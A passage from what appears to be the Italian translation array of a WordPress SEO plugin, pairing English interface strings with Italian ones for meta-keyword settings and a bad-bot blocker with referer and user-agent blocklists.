vuoi che le parole chiave della pagina Articoli (che in WordPress si configura in Impostazioni, Lettura, La tua homepage mostra) e delle pagine Archivio siano generate dinamicamente dalle parole chiave degli articoli visualizzati in quella pagina. Se la casella è deselezionata, verranno utilizzate le parole chiave impostate nella schermata di modifica della pagina degli articoli.','Check this if you want your tags for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen).'=>'Seleziona questa opzione se vuoi che i tuoi tag per un dato post siano utilizzate come Meta Keywords per questo post (oltre qualsiasi parola chiave da te specificata sulla schermata Modifica Post).','Check this if you want your categories for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen).'=>'Seleziona questa opzione se vuoi che le tue categorie per un dato post siano utilizzate come Meta Keywords per questo post (oltre qualsiasi parola chiave da te specificata sulla schermata Modifica Post).','This option allows you to toggle the use of Meta Keywords throughout the whole of the site.'=>'Questa opzione ti permette di attivare o disattivare l\'uso delle Meta Keywords in tutto il sito.','General Settings'=>'Impostazioni generali','Blocked bot with IP %1$s -- matched referer %2$s found in blocklist.'=>'Bloccato bot con IP %1$s -- corrispondenza con referer %2$s trovato nella blocklist.','Blocked bot with IP %1$s -- matched user agent %2$s found in blocklist.'=>'Bloccato bot con IP %1$s -- corrispondenza con user agent %2$s trovato nella blocklist.','Referer Blocklist'=>'Blocklist Referer','User Agent Blocklist'=>'User Agent Blocklist','Track Blocked Bots'=>'Traccia Bot Bloccati','Bad Bot Blocker'=>'Blocca Bot Malevoli']];